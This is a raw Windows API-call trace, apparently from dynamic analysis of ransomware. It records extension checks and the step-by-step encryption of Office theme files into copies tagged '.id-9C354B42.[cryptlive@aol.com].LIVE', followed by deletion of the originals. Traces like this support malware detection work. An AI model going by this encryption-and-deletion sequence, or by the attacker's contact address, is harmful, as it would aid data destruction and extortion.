[0050.161] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.161] lstrlenW (lpString=".zip") returned 4 [0050.161] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.161] lstrlenW (lpString=".rar") returned 4 [0050.161] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.161] lstrlenW (lpString=".bz2") returned 4 [0050.161] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.161] lstrlenW (lpString=".7z") returned 3 [0050.161] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.161] lstrlenW (lpString=".dbf") returned 4 [0050.161] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.162] lstrlenW (lpString=".1cd") returned 4 [0050.162] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.162] lstrlenW (lpString=".jpg") returned 4 [0050.162] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.162] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0050.162] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.397] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=32403) returned 1 [0050.397] CloseHandle (hObject=0x1b0) returned 1 [0050.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0050.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0050.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.397] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.397] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.398] GetLastError () returned 0x0 [0050.398] ReadFile (in: hFile=0x1b0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x7e93, lpOverlapped=0x0) returned 1 [0050.400] WriteFile (in: hFile=0x178, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0050.401] ReadFile (in: hFile=0x1b0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.401] WriteFile (in: hFile=0x178, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.401] SetEndOfFile (hFile=0x178) returned 1 [0050.401] CloseHandle (hObject=0x178) returned 1 [0050.402] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.402] SetEndOfFile (hFile=0x1b0) returned 1 [0050.403] CloseHandle (hObject=0x1b0) returned 1 [0050.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0050.404] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0050.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0050.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0050.404] lstrlenW (lpString=".doc") returned 4 [0050.404] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.404] lstrlenW (lpString=".docx") returned 5 [0050.404] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.404] lstrlenW (lpString=".pdf") returned 4 [0050.404] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.404] lstrlenW (lpString=".xls") returned 4 [0050.404] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.404] lstrlenW (lpString=".xlsx") returned 5 [0050.404] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.404] lstrlenW (lpString=".ppt") returned 4 [0050.404] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0050.404] lstrlenW (lpString=".zip") returned 4 [0050.404] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.404] lstrlenW (lpString=".rar") returned 4 [0050.404] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.404] lstrlenW (lpString=".bz2") returned 4 [0050.404] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.404] lstrlenW (lpString=".7z") returned 3 [0050.404] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0050.405] lstrlenW (lpString=".dbf") returned 4 [0050.405] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0050.405] lstrlenW (lpString=".1cd") returned 4 [0050.405] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0050.405] lstrlenW (lpString=".jpg") returned 4 [0050.405] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0050.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0050.405] lstrlenW (lpString=".doc") returned 4 [0050.405] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.405] lstrlenW (lpString=".docx") returned 5 [0050.405] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.405] lstrlenW (lpString=".pdf") returned 4 [0050.405] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.405] lstrlenW (lpString=".xls") returned 4 [0050.405] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.405] lstrlenW (lpString=".xlsx") returned 5 [0050.405] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.405] lstrlenW (lpString=".ppt") returned 4 [0050.405] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0050.405] lstrlenW (lpString=".zip") returned 4 [0050.405] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.405] lstrlenW (lpString=".rar") returned 4 [0050.405] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.405] lstrlenW (lpString=".bz2") returned 4 [0050.405] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.405] lstrlenW (lpString=".7z") returned 3 [0050.405] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0050.405] lstrlenW (lpString=".dbf") returned 4 [0050.405] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0050.405] lstrlenW (lpString=".1cd") returned 4 [0050.406] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0050.406] lstrlenW (lpString=".jpg") returned 4 [0050.406] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.406] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0050.406] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.406] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1347) returned 1 [0050.406] CloseHandle (hObject=0x1b0) returned 1 [0050.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0050.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0050.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.407] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.407] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.408] GetLastError () returned 0x0 [0050.408] ReadFile (in: hFile=0x1b0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x543, lpOverlapped=0x0) returned 1 [0050.410] WriteFile (in: hFile=0x178, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x550, lpOverlapped=0x0) returned 1 [0050.410] ReadFile (in: hFile=0x1b0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.410] WriteFile (in: hFile=0x178, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.411] SetEndOfFile (hFile=0x178) returned 1 [0050.411] CloseHandle (hObject=0x178) returned 1 [0050.412] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.412] SetEndOfFile (hFile=0x1b0) returned 1 [0050.412] CloseHandle (hObject=0x1b0) returned 1 [0050.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0050.413] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0050.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0050.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0050.413] lstrlenW (lpString=".doc") returned 4 [0050.413] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.413] lstrlenW (lpString=".docx") returned 5 [0050.413] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.413] lstrlenW (lpString=".pdf") returned 4 [0050.413] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.413] lstrlenW (lpString=".xls") returned 4 [0050.413] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.413] lstrlenW (lpString=".xlsx") returned 5 [0050.413] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.413] lstrlenW (lpString=".ppt") returned 4 [0050.413] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0050.413] lstrlenW (lpString=".zip") returned 4 [0050.413] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.413] lstrlenW (lpString=".rar") returned 4 [0050.413] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.413] lstrlenW (lpString=".bz2") returned 4 [0050.413] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.413] lstrlenW (lpString=".7z") returned 3 [0050.413] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0050.413] lstrlenW (lpString=".dbf") returned 4 [0050.413] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0050.414] lstrlenW (lpString=".1cd") returned 4 [0050.414] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0050.414] lstrlenW (lpString=".jpg") returned 4 [0050.414] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0050.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0050.414] lstrlenW (lpString=".doc") returned 4 [0050.414] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.414] lstrlenW (lpString=".docx") returned 5 [0050.414] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.414] lstrlenW (lpString=".pdf") returned 4 [0050.414] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.414] lstrlenW (lpString=".xls") returned 4 [0050.414] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.414] lstrlenW (lpString=".xlsx") returned 5 [0050.414] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.414] lstrlenW (lpString=".ppt") returned 4 [0050.414] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0050.414] lstrlenW (lpString=".zip") returned 4 [0050.414] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.414] lstrlenW (lpString=".rar") returned 4 [0050.414] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.414] lstrlenW (lpString=".bz2") returned 4 [0050.414] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.414] lstrlenW (lpString=".7z") returned 3 [0050.414] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0050.414] lstrlenW (lpString=".dbf") returned 4 [0050.414] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0050.414] lstrlenW (lpString=".1cd") returned 4 [0050.414] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0050.415] lstrlenW (lpString=".jpg") returned 4 [0050.415] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.415] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0050.415] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.415] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=26402) returned 1 [0050.415] CloseHandle (hObject=0x1b0) returned 1 [0050.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0050.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0050.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.415] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.416] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.416] GetLastError () returned 0x0 [0050.416] ReadFile (in: hFile=0x1b0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x6722, lpOverlapped=0x0) returned 1 [0050.418] WriteFile (in: hFile=0x178, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x6730, lpOverlapped=0x0) returned 1 [0050.419] ReadFile (in: hFile=0x1b0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.419] WriteFile (in: hFile=0x178, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.419] SetEndOfFile (hFile=0x178) returned 1 [0050.419] CloseHandle (hObject=0x178) returned 1 [0050.420] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.420] SetEndOfFile (hFile=0x1b0) returned 1 [0050.421] CloseHandle (hObject=0x1b0) returned 1 [0050.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0050.421] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0050.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0050.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0050.422] lstrlenW (lpString=".doc") returned 4 [0050.422] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.422] lstrlenW (lpString=".docx") returned 5 [0050.422] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.422] lstrlenW (lpString=".pdf") returned 4 [0050.422] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.422] lstrlenW (lpString=".xls") returned 4 [0050.422] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.422] lstrlenW (lpString=".xlsx") returned 5 [0050.422] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.422] lstrlenW (lpString=".ppt") returned 4 [0050.422] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0050.422] lstrlenW (lpString=".zip") returned 4 [0050.422] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.422] lstrlenW (lpString=".rar") returned 4 [0050.422] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.422] lstrlenW (lpString=".bz2") returned 4 [0050.422] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.422] lstrlenW (lpString=".7z") returned 3 [0050.422] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0050.422] lstrlenW (lpString=".dbf") returned 4 [0050.423] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0050.423] lstrlenW (lpString=".1cd") returned 4 [0050.423] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0050.423] lstrlenW (lpString=".jpg") returned 4 [0050.423] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0050.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0050.423] lstrlenW (lpString=".doc") returned 4 [0050.423] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.423] lstrlenW (lpString=".docx") returned 5 [0050.423] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.423] lstrlenW (lpString=".pdf") returned 4 [0050.423] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.423] lstrlenW (lpString=".xls") returned 4 [0050.423] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.423] lstrlenW 